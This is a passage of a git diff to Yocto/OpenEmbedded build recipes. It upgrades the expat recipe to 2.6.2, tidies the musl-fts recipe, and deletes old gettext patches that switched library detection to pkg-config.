- echo "${result}: ${testExec}" && echo "============================"
-}
-
-export output
-export -f testCheck
TIME=$(which time)
-echo "Architecture: $(uname -m)" > ${output}
-echo "Image: $(uname -sr)" >> ${output}
-${TIME} -f 'Execution time: %e s' bash -c "testCheck runtests -vv" |& tee -a ${output}
-${TIME} -f 'Execution time: %e s' bash -c "testCheck runtestspp -vv" |& tee -a ${output}
+echo "runtests"
+${TIME} -f 'Execution time: %e s' bash -c "./runtests -v"
+echo "runtestspp"
+${TIME} -f 'Execution time: %e s' bash -c "./runtests_cxx -v"
echo
diff --git a/meta/recipes-core/expat/expat_2.2.9.bb b/meta/recipes-core/expat/expat_2.2.9.bb
deleted file mode 100644
index f477f99baf..0000000000
--- a/meta/recipes-core/expat/expat_2.2.9.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "A stream-oriented XML parser library"
-DESCRIPTION = "Expat is an XML parser library written in C. It is a stream-oriented parser in which an application registers handlers for things the parser might find in the XML document (like start tags)"
-HOMEPAGE = "http://expat.sourceforge.net/"
-SECTION = "libs"
-LICENSE = "MIT"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=5b8620d98e49772d95fc1d291c26aa79"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/expat/expat-${PV}.tar.bz2 \
- file://libtool-tag.patch \
- file://run-ptest \
- file://0001-Add-output-of-tests-result.patch \
- "
-
-SRC_URI[md5sum] = "875a2c2ff3e8eb9e5a5cd62db2033ab5"
-SRC_URI[sha256sum] = "f1063084dc4302a427dabcca499c8312b3a32a29b7d2506653ecc8f950a9a237"
-
-EXTRA_OECMAKE_class-native += "-DEXPAT_BUILD_DOCS=OFF"
-
-RDEPENDS_${PN}-ptest += "bash"
-
-inherit cmake lib_package ptest
-
-do_install_ptest_class-target() {
- install -m 755 ${B}/tests/* ${D}${PTEST_PATH}
-}
-
-BBCLASSEXTEND += "native nativesdk"
diff --git a/meta/recipes-core/expat/expat_2.6.2.bb b/meta/recipes-core/expat/expat_2.6.2.bb
new file mode 100644
index 0000000000..6c9db91bef
--- /dev/null
+++ b/meta/recipes-core/expat/expat_2.6.2.bb
@@ -0,0 +1,33 @@
+SUMMARY = "A stream-oriented XML parser library"
+DESCRIPTION = "Expat is an XML parser library written in C. It is a stream-oriented parser in which an application registers handlers for things the parser might find in the XML document (like start tags)"
+HOMEPAGE = "https://github.com/libexpat/libexpat"
+SECTION = "libs"
+LICENSE = "MIT"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=7b3b078238d0901d3b339289117cb7fb"
+
+VERSION_TAG = "${@d.getVar('PV').replace('.', '_')}"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/R_${VERSION_TAG}/expat-${PV}.tar.bz2 \
+ file://run-ptest \
+ "
+
+GITHUB_BASE_URI = "https://github.com/libexpat/libexpat/releases/"
+UPSTREAM_CHECK_REGEX = "releases/tag/R_(?P<pver>.+)"
+
+SRC_URI[sha256sum] = "9c7c1b5dcbc3c237c500a8fb1493e14d9582146dd9b42aa8d3ffb856a3b927e0"
+
+EXTRA_OECMAKE:class-native += "-DEXPAT_BUILD_DOCS=OFF"
+
+RDEPENDS:${PN}-ptest += "bash"
+
+inherit cmake lib_package ptest github-releases
+
+do_install_ptest:class-target() {
+ install -m 755 ${B}/tests/runtests* ${D}${PTEST_PATH}
+ install -m 755 ${B}/tests/benchmark/benchmark ${D}${PTEST_PATH}
+}
+
+BBCLASSEXTEND += "native nativesdk"
+
+CVE_PRODUCT = "expat libexpat"
diff --git a/meta/recipes-core/fts/fts_1.2.7.bb b/meta/recipes-core/fts/fts_1.2.7.bb
index 589ae0e916..10103830af 100644
--- a/meta/recipes-core/fts/fts_1.2.7.bb
+++ b/meta/recipes-core/fts/fts_1.2.7.bb
@@ -1,15 +1,16 @@
# Copyright (C) 2015 Khem Raj <raj.khem@gmail.com>
# Released under the MIT license (see COPYING.MIT for the terms)
-SUMMARY = "Implementation of ftsfor musl libc packages"
+SUMMARY = "Implementation of fts for musl libc packages"
HOMEPAGE = "https://github.com/pullmoll/musl-fts"
+DESCRIPTION = "The musl-fts package implements the fts(3) functions fts_open, fts_read, fts_children, fts_set and fts_close, which are missing in musl libc."
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=5ffe358174aad383f1b69ce3b53da982"
SECTION = "libs"
SRCREV = "0bde52df588e8969879a2cae51c3a4774ec62472"
-SRC_URI = "git://github.com/pullmoll/musl-fts.git"
+SRC_URI = "git://github.com/pullmoll/musl-fts.git;branch=master;protocol=https"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-core/gettext/gettext-0.20.2/add-with-bisonlocaledir.patch b/meta/recipes-core/gettext/gettext-0.20.2/add-with-bisonlocaledir.patch
deleted file mode 100644
index 35a131067a..0000000000
--- a/meta/recipes-core/gettext/gettext-0.20.2/add-with-bisonlocaledir.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From 04bd40fe2c48c6e01ab418a04d27c4aff644ad96 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Wed, 17 Feb 2016 23:54:02 -0500
-Subject: [PATCH] m4/bison-i18n.m4: add --with-bisonlocaledir to assign
- BISON_LOCALEDIR
-
-The variable BISON_LOCALEDIR is assigned only by the output of
-'bison --print-localedir', we add option --with-bisonlocaledir
-to assign it explicitly. It is helpful for user to split the
-native compile and cross compile.
-
-For backward compatibility, if option not used, it still
-make use of the output of 'bison --print-localedir'.
-
-Upstream-Status: Submitted [bison-patches@gnu.org]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- gettext-tools/gnulib-m4/bison-i18n.m4 | 10 ++++++++--
- 1 file changed, 8 insertions(+), 2 deletions(-)
-
-diff --git a/gettext-tools/gnulib-m4/bison-i18n.m4 b/gettext-tools/gnulib-m4/bison-i18n.m4
-index f5cfd3a..fb6ac4d 100644
---- a/gettext-tools/gnulib-m4/bison-i18n.m4
-+++ b/gettext-tools/gnulib-m4/bison-i18n.m4
-@@ -14,11 +14,16 @@ dnl sets BISON_LOCALEDIR to indicate where to find the bison-runtime.mo files
- dnl and defines YYENABLE_NLS if there are bison-runtime.mo files at all.
- AC_DEFUN([BISON_I18N],
- [
-+ dnl Default is not to set bisonlocaledir
-+ AC_ARG_WITH([bisonlocaledir],
-+ [ --with-bisonlocaledir sets BISON_LOCALEDIR to indicate where to find the bison-runtime.mo files],
-+ BISON_LOCALEDIR=$withval,
-+ BISON_LOCALEDIR=)
-+
- if test -z "$USE_NLS"; then
- echo "The BISON-I18N macro is used without being preceded by AM-GNU-GETTEXT." 1>&2
- exit 1
- fi
-- BISON_LOCALEDIR=
- BISON_USE_NLS=no
- if test "$USE_NLS" = yes; then
- dnl Determine bison's localedir.
-@@ -26,9 +31,10 @@ AC_DEFUN([BISON_I18N],
- dnl But even is YACC is called "yacc", it may be a script that invokes bison
- dnl and accepts the --print-localedir option.
- dnl YACC's default value is empty; BISON's default value is :.
-- if (${YACC-${BISON-:}} --print-localedir) >/dev/null 2>&1; then
-+ if test -z "$BISON_LOCALEDIR" -a ${YACC-${BISON-:}} --print-localedir >/dev/null 2>&1; then
- BISON_LOCALEDIR=`${YACC-${BISON-:}} --print-localedir`
- fi
-+ AC_MSG_RESULT([$BISON_LOCALEDIR])
- AC_SUBST([BISON_LOCALEDIR])
- if test -n "$BISON_LOCALEDIR"; then
- dnl There is no need to enable internationalization if the user doesn't
---
-1.9.1
-
diff --git a/meta/recipes-core/gettext/gettext-0.20.2/use-pkgconfig.patch b/meta/recipes-core/gettext/gettext-0.20.2/use-pkgconfig.patch
deleted file mode 100644
index feb56719d7..0000000000
--- a/meta/recipes-core/gettext/gettext-0.20.2/use-pkgconfig.patch
+++ /dev/null
@@ -1,699 +0,0 @@
-From c832880c5242b454a2c9e61b6a2dc26aecdc51bd Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Tue, 23 Jan 2018 00:54:13 +0000
-Subject: [PATCH] gettext: beat library detection into shape
-
-For reasons which I just can't fathom gnulib doesn't use the expected tools to
-find libraries but badly reinvents the wheel. This will trivially lead to host
-contamination (explicit searches of /usr/lib) or incorrect RPATHs (bad
-canonicalisation resulting in relative paths).
-
-Simply delete all the crazy, and replace with a single call to pkg-config.
-
-Upstream-Status: Inappropriate [upstream still refuse to consider pkg-config]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
----
- gettext-tools/gnulib-m4/libxml.m4 | 99 +----------------
- .../gnulib-local/lib/term-styled-ostream.oo.c | 12 +--
- libtextstyle/gnulib-local/m4/libcroco.m4 | 99 +++--------------
- libtextstyle/gnulib-local/m4/libglib.m4 | 100 +++---------------
- libtextstyle/gnulib-m4/libcroco.m4 | 99 +++--------------
- libtextstyle/gnulib-m4/libglib.m4 | 100 +++---------------
- libtextstyle/lib/term-styled-ostream.c | 12 +--
- libtextstyle/lib/term-styled-ostream.oo.c | 12 +--
- 8 files changed, 83 insertions(+), 450 deletions(-)
-
-diff --git a/gettext-tools/gnulib-m4/libxml.m4 b/gettext-tools/gnulib-m4/libxml.m4
-index 05b9550..031ee65 100644
---- a/gettext-tools/gnulib-m4/libxml.m4
-+++ b/gettext-tools/gnulib-m4/libxml.m4
-@@ -13,6 +13,7 @@ dnl gl_LIBXML(FORCE-INCLUDED)
- dnl forces the use of the included or an external libxml.
- AC_DEFUN([gl_LIBXML],
- [
-+ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
- AC_REQUIRE([AM_ICONV_LINK])
-
- ifelse([$1], , [
-@@ -30,100 +31,10 @@ AC_DEFUN([gl_LIBXML],
- INCXML=
- ifelse([$1], [yes], , [
- if test "$gl_cv_libxml_use_included" != yes; then
-- dnl Figure out whether we can use a preinstalled libxml2, or have to use
-- dnl the included one.
-- AC_CACHE_VAL([gl_cv_libxml], [
-- gl_cv_libxml=no
-- gl_cv_LIBXML=
-- gl_cv_LTLIBXML=
-- gl_cv_INCXML=
-- gl_save_LIBS="$LIBS"
-- LIBS="$LIBS $LIBICONV"
-- dnl Search for libxml2 and define LIBXML2, LTLIBXML2 and INCXML2
-- dnl accordingly.
-- dnl Don't use xml2-config nor pkg-config, since it doesn't work when
-- dnl cross-compiling or when the C compiler in use is different from the
-- dnl one that built the library.
-- dnl Use a test program that tries to invoke xmlFree. On Cygwin 1.7.x,
-- dnl libxml2 is built in such a way that uses of xmlFree work fine with
-- dnl -Wl,--enable-auto-import but lead to a link error with
-- dnl -Wl,--disable-auto-import.
-- AC_LIB_LINKFLAGS_BODY([xml2])
-- LIBS="$gl_save_LIBS $LIBXML2 $LIBICONV"
-- AC_TRY_LINK([#include <libxml/xmlversion.h>
-- #include <libxml/xmlmemory.h>
-- #include <libxml/xpath.h>
-- ],
-- [xmlCheckVersion (0);
-- xmlFree ((void *) 0);
-- xmlXPathSetContextNode ((void *)0, (void *)0);
-- ],
-- [gl_cv_libxml=yes
-- gl_cv_LIBXML="$LIBXML2 $LIBICONV"
-- gl_cv_LTLIBXML="$LTLIBXML2 $LTLIBICONV"
-- ])
-- if test "$gl_cv_libxml" != yes; then
-- gl_save_CPPFLAGS="$CPPFLAGS"
-- CPPFLAGS="$CPPFLAGS $INCXML2"
-- AC_TRY_LINK([#include <libxml/xmlversion.h>
-- #include <libxml/xmlmemory.h>
-- #include <libxml/xpath.h>
-- ],
-- [xmlCheckVersion (0);
-- xmlFree ((void *) 0);
-- xmlXPathSetContextNode ((void *)0, (void *)0);
-- ],
-- [gl_cv_libxml=yes
-- gl_cv_LIBXML="$LIBXML2 $LIBICONV"
-- gl_cv_LTLIBXML="$LTLIBXML2 $LTLIBICONV"
-- gl_cv_INCXML="$INCXML2"
-- ])
-- if test "$gl_cv_libxml" != yes; then
-- dnl Often the include files are installed in /usr/include/libxml2.
-- dnl In libxml2-2.5, <libxml/xmlversion.h> is self-contained.
-- dnl In libxml2-2.6, it includes <libxml/xmlexports.h> which is
-- dnl self-contained.
-- libxml2_include_dir=
-- AC_TRY_CPP([#include <libxml2/libxml/xmlexports.h>],
-- [gl_ABSOLUTE_HEADER([libxml2/libxml/xmlexports.h])
-- libxml2_include_dir=`echo "$gl_cv_absolute_libxml2_libxml_xmlexports_h" | sed -e 's,.libxml.xmlexports\.h$,,'`
-- ])
-- if test -z "$libxml2_include_dir"; then
-- AC_TRY_CPP([#include <libxml2/libxml/xmlversion.h>],
-- [gl_ABSOLUTE_HEADER([libxml2/libxml/xmlversion.h])
-- libxml2_include_dir=`echo "$gl_cv_absolute_libxml2_libxml_xmlversion_h" | sed -e 's,.libxml.xmlversion\.h$,,'`
-- ])
-- fi
-- if test -n "$libxml2_include_dir" && test -d "$libxml2_include_dir"; then
-- CPPFLAGS="$gl_save_CPPFLAGS -I$libxml2_include_dir"
-- AC_TRY_LINK([#include <libxml/xmlversion.h>
-- #include <libxml/xmlmemory.h>
-- #include <libxml/xpath.h>
-- ],
-- [xmlCheckVersion (0);
-- xmlFree ((void *) 0);
-- xmlXPathSetContextNode ((void *)0, (void *)0);
-- ],
-- [gl_cv_libxml=yes
-- gl_cv_LIBXML="$LIBXML2 $LIBICONV"
-- gl_cv_LTLIBXML="$LTLIBXML2 $LTLIBICONV"
-- gl_cv_INCXML="-I$libxml2_include_dir"
-- ])
-- fi
-- fi
-- CPPFLAGS="$gl_save_CPPFLAGS"
-- fi
-- LIBS="$gl_save_LIBS"
-- ])
-- AC_MSG_CHECKING([for libxml])
-- AC_MSG_RESULT([$gl_cv_libxml])
-- if test $gl_cv_libxml = yes; then
-- LIBXML="$gl_cv_LIBXML"
-- LTLIBXML="$gl_cv_LTLIBXML"
-- INCXML="$gl_cv_INCXML"
-- else
-- gl_cv_libxml_use_included=yes
-- fi
-+ PKG_CHECK_MODULES([XML], [libxml-2.0])
-+ LIBXML=$XML_LIBS
-+ LTLIBXML=$XML_LIBS
-+ INCXML=$XML_CFLAGS
- fi
- ])
- AC_SUBST([LIBXML])
-diff --git a/libtextstyle/gnulib-local/lib/term-styled-ostream.oo.c b/libtextstyle/gnulib-local/lib/term-styled-ostream.oo.c
-index 2cfd4a8..d42c8b4 100644
---- a/libtextstyle/gnulib-local/lib/term-styled-ostream.oo.c
-+++ b/libtextstyle/gnulib-local/lib/term-styled-ostream.oo.c
-@@ -22,15 +22,15 @@
-
- #include <stdlib.h>
-
--#include <cr-om-parser.h>
--#include <cr-sel-eng.h>
--#include <cr-style.h>
--#include <cr-rgb.h>
-+#include <libcroco/cr-om-parser.h>
-+#include <libcroco/cr-sel-eng.h>
-+#include <libcroco/cr-style.h>
-+#include <libcroco/cr-rgb.h>
- /* <cr-fonts.h> has a broken double-inclusion guard in libcroco-0.6.1. */
- #ifndef __CR_FONTS_H__
--# include <cr-fonts.h>
-+# include <libcroco/cr-fonts.h>
- #endif
--#include <cr-string.h>
-+#include <libcroco/cr-string.h>
-
- #include "term-ostream.h"
- #include "hash.h"
-diff --git a/libtextstyle/gnulib-local/m4/libcroco.m4 b/libtextstyle/gnulib-local/m4/libcroco.m4
-index bc53cc6..10b2455 100644
---- a/libtextstyle/gnulib-local/m4/libcroco.m4
-+++ b/libtextstyle/gnulib-local/m4/libcroco.m4
-@@ -1,99 +1,34 @@
--# libcroco.m4 serial 3
--dnl Copyright (C) 2006-2007, 2019 Free Software Foundation, Inc.
-+# libcroco.m4 serial 2 (gettext-0.17)
-+dnl Copyright (C) 2006, 2015-2016 Free Software Foundation, Inc.
- dnl This file is free software; the Free Software Foundation
- dnl gives unlimited permission to copy and/or distribute it,
- dnl with or without modifications, as long as this notice is preserved.
-
- dnl From Bruno Haible.
-
--dnl gl_LIBCROCO
--dnl gives the user the option to decide whether to use the included or
--dnl an external libcroco.
--dnl gl_LIBCROCO(FORCE-INCLUDED)
--dnl forces the use of the included or an external libcroco.
- AC_DEFUN([gl_LIBCROCO],
- [
-- ifelse([$1], [yes], , [
-- dnl libcroco depends on libglib.
-- AC_REQUIRE([gl_LIBGLIB])
-- ])
-+ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
-+ dnl libcroco depends on libglib.
-+ AC_REQUIRE([gl_LIBGLIB])
-
-- ifelse([$1], , [
-- AC_MSG_CHECKING([whether included libcroco is requested])
-- AC_ARG_WITH([included-libcroco],
-- [ --with-included-libcroco use the libcroco included here],
-- [gl_cv_libcroco_force_included=$withval],
-- [gl_cv_libcroco_force_included=no])
-- AC_MSG_RESULT([$gl_cv_libcroco_force_included])
-- ], [gl_cv_libcroco_force_included=$1])
-+ AC_MSG_CHECKING([whether included libcroco is requested])
-+ AC_ARG_WITH([included-libcroco],
-+ [ --with-included-libcroco use the libcroco included here],
-+ [gl_cv_libcroco_force_included=$withval],
-+ [gl_cv_libcroco_force_included=no])
-+ AC_MSG_RESULT([$gl_cv_libcroco_force_included])
-
- gl_cv_libcroco_use_included="$gl_cv_libcroco_force_included"
- LIBCROCO=
- LTLIBCROCO=
- INCCROCO=
-- ifelse([$1], [yes], , [
-- if test "$gl_cv_libcroco_use_included" != yes; then
-- dnl Figure out whether we can use a preinstalled libcroco-0.6, or have to
-- dnl use the included one.
-- AC_CACHE_VAL([gl_cv_libcroco], [
-- gl_cv_libcroco=no
-- gl_cv_LIBCROCO=
-- gl_cv_LTLIBCROCO=
-- gl_cv_INCCROCO=
-- gl_save_LIBS="$LIBS"
-- dnl Search for libcroco and define LIBCROCO_0_6, LTLIBCROCO_0_6 and
-- dnl INCCROCO_0_6 accordingly.
-- dnl Don't use croco-0.6-config nor pkg-config, since it doesn't work when
-- dnl cross-compiling or when the C compiler in use is different from the
-- dnl one that built the library.
-- AC_LIB_LINKFLAGS_BODY([croco-0.6], [glib-2.0])
-- LIBS="$gl_save_LIBS $LIBCROCO_0_6"
-- AC_TRY_LINK([#include <libcroco-config.h>],
-- [const char *version = LIBCROCO_VERSION; return !version;],
-- [gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- ])
-- if test "$gl_cv_libcroco" != yes; then
-- gl_save_CPPFLAGS="$CPPFLAGS"
-- CPPFLAGS="$CPPFLAGS $INCCROCO_0_6"
-- AC_TRY_LINK([#include <libcroco-config.h>],
-- [const char *version = LIBCROCO_VERSION; return !version;],
-- [gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- gl_cv_INCCROCO="$INCCROCO_0_6"
-- ])
-- if test "$gl_cv_libcroco" != yes; then
-- dnl Often the include files are installed in
-- dnl /usr/include/libcroco-0.6/libcroco.
-- AC_TRY_LINK([#include <libcroco-0.6/libcroco/libcroco-config.h>],
-- [const char *version = LIBCROCO_VERSION; return !version;],
-- [gl_ABSOLUTE_HEADER([libcroco-0.6/libcroco/libcroco-config.h])
-- libcroco_include_dir=`echo "$gl_cv_absolute_libcroco_0_6_libcroco_libcroco_config_h" | sed -e 's,.libcroco-config\.h$,,'`
-- if test -d "$libcroco_include_dir"; then
-- gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- gl_cv_INCCROCO="-I$libcroco_include_dir"
-- fi
-- ])
-- fi
-- CPPFLAGS="$gl_save_CPPFLAGS"
-- fi
-- LIBS="$gl_save_LIBS"
-- ])
-- AC_MSG_CHECKING([for libcroco])
-- AC_MSG_RESULT([$gl_cv_libcroco])
-- if test $gl_cv_libcroco = yes; then
-- LIBCROCO="$gl_cv_LIBCROCO"
-- LTLIBCROCO="$gl_cv_LTLIBCROCO"
-- INCCROCO="$gl_cv_INCCROCO"
-- else
-- gl_cv_libcroco_use_included=yes
-- fi
-- fi
-- ])
-+ if test "$gl_cv_libcroco_use_included" != yes; then
-+ PKG_CHECK_MODULES([CROCO], [libcroco-0.6])
-+ LIBCROCO=$CROCO_LIBS
-+ LTLIBCROCO=$CROCO_LIBS
-+ INCCROCO=$CROCO_CFLAGS
-+ fi
- AC_SUBST([LIBCROCO])
- AC_SUBST([LTLIBCROCO])
- AC_SUBST([INCCROCO])
-diff --git a/libtextstyle/gnulib-local/m4/libglib.m4 b/libtextstyle/gnulib-local/m4/libglib.m4
-index 5853772..767fba2 100644
---- a/libtextstyle/gnulib-local/m4/libglib.m4
-+++ b/libtextstyle/gnulib-local/m4/libglib.m4
-@@ -6,100 +6,26 @@ dnl with or without modifications, as long as this notice is preserved.
-
- dnl From Bruno Haible.
-
--dnl gl_LIBGLIB
--dnl gives the user the option to decide whether to use the included or
--dnl an external libglib.
--dnl gl_LIBGLIB(FORCE-INCLUDED)
--dnl forces the use of the included or an external libglib.
- AC_DEFUN([gl_LIBGLIB],
- [
-- ifelse([$1], , [
-- AC_MSG_CHECKING([whether included glib is requested])
-- AC_ARG_WITH([included-glib],
-- [ --with-included-glib use the glib2 included here],
-- [gl_cv_libglib_force_included=$withval],
-- [gl_cv_libglib_force_included=no])
-- AC_MSG_RESULT([$gl_cv_libglib_force_included])
-- ], [gl_cv_libglib_force_included=$1])
-+ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
-+ AC_MSG_CHECKING([whether included glib is requested])
-+ AC_ARG_WITH([included-glib],
-+ [ --with-included-glib use the glib2 included here],
-+ [gl_cv_libglib_force_included=$withval],
-+ [gl_cv_libglib_force_included=no])
-+ AC_MSG_RESULT([$gl_cv_libglib_force_included])
-
- gl_cv_libglib_use_included="$gl_cv_libglib_force_included"
- LIBGLIB=
- LTLIBGLIB=
- INCGLIB=
-- ifelse([$1], [yes], , [
-- if test "$gl_cv_libglib_use_included" != yes; then
-- dnl Figure out whether we can use a preinstalled libglib-2.0, or have to use
-- dnl the included one.
-- AC_CACHE_VAL([gl_cv_libglib], [
-- gl_cv_libglib=no
-- gl_cv_LIBGLIB=
-- gl_cv_LTLIBGLIB=
-- gl_cv_INCGLIB=
-- gl_save_LIBS="$LIBS"
-- dnl Search for libglib2 and define LIBGLIB_2_0, LTLIBGLIB_2_0 and
-- dnl INCGLIB_2_0 accordingly.
-- dnl Don't use glib-config nor pkg-config, since it doesn't work when
-- dnl cross-compiling or when the C compiler in use is different from the
-- dnl one that built the library.
-- AC_LIB_LINKFLAGS_BODY([glib-2.0])
-- LIBS="$gl_save_LIBS $LIBGLIB_2_0"
-- AC_TRY_LINK([#include <glib.h>
--#ifndef G_BEGIN_DECLS
--error this glib.h includes a glibconfig.h from a glib version 1.x
--#endif
--],
-- [g_string_new ("foo");],
-- [gl_cv_libglib=yes
-- gl_cv_LIBGLIB="$LIBGLIB_2_0"
-- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
-- ])
-- if test "$gl_cv_libglib" != yes; then
-- gl_save_CPPFLAGS="$CPPFLAGS"
-- CPPFLAGS="$CPPFLAGS $INCGLIB_2_0"
-- AC_TRY_LINK([#include <glib.h>
--#ifndef G_BEGIN_DECLS
--error this glib.h includes a glibconfig.h from a glib version 1.x
--#endif
--],
-- [g_string_new ("foo");],
-- [gl_cv_libglib=yes
-- gl_cv_LIBGLIB="$LIBGLIB_2_0"
-- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
-- gl_cv_INCGLIB="$INCGLIB_2_0"
-- ])
-- if test "$gl_cv_libglib" != yes; then
-- dnl Often the include files are installed in /usr/include/glib-2.0
-- dnl and /usr/lib/glib-2.0/include.
-- if test -n "$LIBGLIB_2_0_PREFIX"; then
-- CPPFLAGS="$gl_save_CPPFLAGS -I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
-- AC_TRY_LINK([#include <glib.h>
--#ifndef G_BEGIN_DECLS
--error this glib.h includes a glibconfig.h from a glib version 1.x
--#endif
--],
-- [g_string_new ("foo");],
-- [gl_cv_libglib=yes
-- gl_cv_LIBGLIB="$LIBGLIB_2_0"
-- gl_cv_LTLIBGLIB="$LTLIBGLIB_2_0"
-- gl_cv_INCGLIB="-I$LIBGLIB_2_0_PREFIX/include/glib-2.0 -I$LIBGLIB_2_0_PREFIX/$acl_libdirstem/glib-2.0/include"
-- ])
-- fi
-- fi
-- CPPFLAGS="$gl_save_CPPFLAGS"
-- fi
-- LIBS="$gl_save_LIBS"
-- ])
-- AC_MSG_CHECKING([for glib])
-- AC_MSG_RESULT([$gl_cv_libglib])
-- if test $gl_cv_libglib = yes; then
-- LIBGLIB="$gl_cv_LIBGLIB"
-- LTLIBGLIB="$gl_cv_LTLIBGLIB"
-- INCGLIB="$gl_cv_INCGLIB"
-- else
-- gl_cv_libglib_use_included=yes
-- fi
-- fi
-- ])
-+ if test "$gl_cv_libglib_use_included" != yes; then
-+ PKG_CHECK_MODULES([GLIB], [glib-2.0])
-+ LIBGLIB="$GLIB_LIBS"
-+ LTLIBGLIB="$GLIB_LIBS"
-+ INCGLIB="$GLIB_CFLAGS"
-+ fi
- AC_SUBST([LIBGLIB])
- AC_SUBST([LTLIBGLIB])
- AC_SUBST([INCGLIB])
-diff --git a/libtextstyle/gnulib-m4/libcroco.m4 b/libtextstyle/gnulib-m4/libcroco.m4
-index bc53cc6..10b2455 100644
---- a/libtextstyle/gnulib-m4/libcroco.m4
-+++ b/libtextstyle/gnulib-m4/libcroco.m4
-@@ -1,99 +1,34 @@
--# libcroco.m4 serial 3
--dnl Copyright (C) 2006-2007, 2019 Free Software Foundation, Inc.
-+# libcroco.m4 serial 2 (gettext-0.17)
-+dnl Copyright (C) 2006, 2015-2016 Free Software Foundation, Inc.
- dnl This file is free software; the Free Software Foundation
- dnl gives unlimited permission to copy and/or distribute it,
- dnl with or without modifications, as long as this notice is preserved.
-
- dnl From Bruno Haible.
-
--dnl gl_LIBCROCO
--dnl gives the user the option to decide whether to use the included or
--dnl an external libcroco.
--dnl gl_LIBCROCO(FORCE-INCLUDED)
--dnl forces the use of the included or an external libcroco.
- AC_DEFUN([gl_LIBCROCO],
- [
-- ifelse([$1], [yes], , [
-- dnl libcroco depends on libglib.
-- AC_REQUIRE([gl_LIBGLIB])
-- ])
-+ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
-+ dnl libcroco depends on libglib.
-+ AC_REQUIRE([gl_LIBGLIB])
-
-- ifelse([$1], , [
-- AC_MSG_CHECKING([whether included libcroco is requested])
-- AC_ARG_WITH([included-libcroco],
-- [ --with-included-libcroco use the libcroco included here],
-- [gl_cv_libcroco_force_included=$withval],
-- [gl_cv_libcroco_force_included=no])
-- AC_MSG_RESULT([$gl_cv_libcroco_force_included])
-- ], [gl_cv_libcroco_force_included=$1])
-+ AC_MSG_CHECKING([whether included libcroco is requested])
-+ AC_ARG_WITH([included-libcroco],
-+ [ --with-included-libcroco use the libcroco included here],
-+ [gl_cv_libcroco_force_included=$withval],
-+ [gl_cv_libcroco_force_included=no])
-+ AC_MSG_RESULT([$gl_cv_libcroco_force_included])
-
- gl_cv_libcroco_use_included="$gl_cv_libcroco_force_included"
- LIBCROCO=
- LTLIBCROCO=
- INCCROCO=
-- ifelse([$1], [yes], , [
-- if test "$gl_cv_libcroco_use_included" != yes; then
-- dnl Figure out whether we can use a preinstalled libcroco-0.6, or have to
-- dnl use the included one.
-- AC_CACHE_VAL([gl_cv_libcroco], [
-- gl_cv_libcroco=no
-- gl_cv_LIBCROCO=
-- gl_cv_LTLIBCROCO=
-- gl_cv_INCCROCO=
-- gl_save_LIBS="$LIBS"
-- dnl Search for libcroco and define LIBCROCO_0_6, LTLIBCROCO_0_6 and
-- dnl INCCROCO_0_6 accordingly.
-- dnl Don't use croco-0.6-config nor pkg-config, since it doesn't work when
-- dnl cross-compiling or when the C compiler in use is different from the
-- dnl one that built the library.
-- AC_LIB_LINKFLAGS_BODY([croco-0.6], [glib-2.0])
-- LIBS="$gl_save_LIBS $LIBCROCO_0_6"
-- AC_TRY_LINK([#include <libcroco-config.h>],
-- [const char *version = LIBCROCO_VERSION; return !version;],
-- [gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- ])
-- if test "$gl_cv_libcroco" != yes; then
-- gl_save_CPPFLAGS="$CPPFLAGS"
-- CPPFLAGS="$CPPFLAGS $INCCROCO_0_6"
-- AC_TRY_LINK([#include <libcroco-config.h>],
-- [const char *version = LIBCROCO_VERSION; return !version;],
-- [gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- gl_cv_INCCROCO="$INCCROCO_0_6"
-- ])
-- if test "$gl_cv_libcroco" != yes; then
-- dnl Often the include files are installed in
-- dnl /usr/include/libcroco-0.6/libcroco.
-- AC_TRY_LINK([#include <libcroco-0.6/libcroco/libcroco-config.h>],
-- [const char *version = LIBCROCO_VERSION; return !version;],
-- [gl_ABSOLUTE_HEADER([libcroco-0.6/libcroco/libcroco-config.h])
-- libcroco_include_dir=`echo "$gl_cv_absolute_libcroco_0_6_libcroco_libcroco_config_h" | sed -e 's,.libcroco-config\.h$,,'`
-- if test -d "$libcroco_include_dir"; then
-- gl_cv_libcroco=yes
-- gl_cv_LIBCROCO="$LIBCROCO_0_6"
-- gl_cv_LTLIBCROCO="$LTLIBCROCO_0_6"
-- gl_cv_INCCROCO="-I$libcroco_include_dir"
-- fi
-- ])
-- fi
-- CPPFLAGS="$gl_save_CPPFLAGS"
-- fi
-- LIBS="$gl_save_LIBS"
-- ])
-- AC_MSG_CHECKING([for libcroco])
-- AC_MSG_RESULT([$gl_cv_libcroco])
-- if test $gl_cv_libcroco = yes; then
-- LIBCROCO="$gl_cv_LIBCROCO"
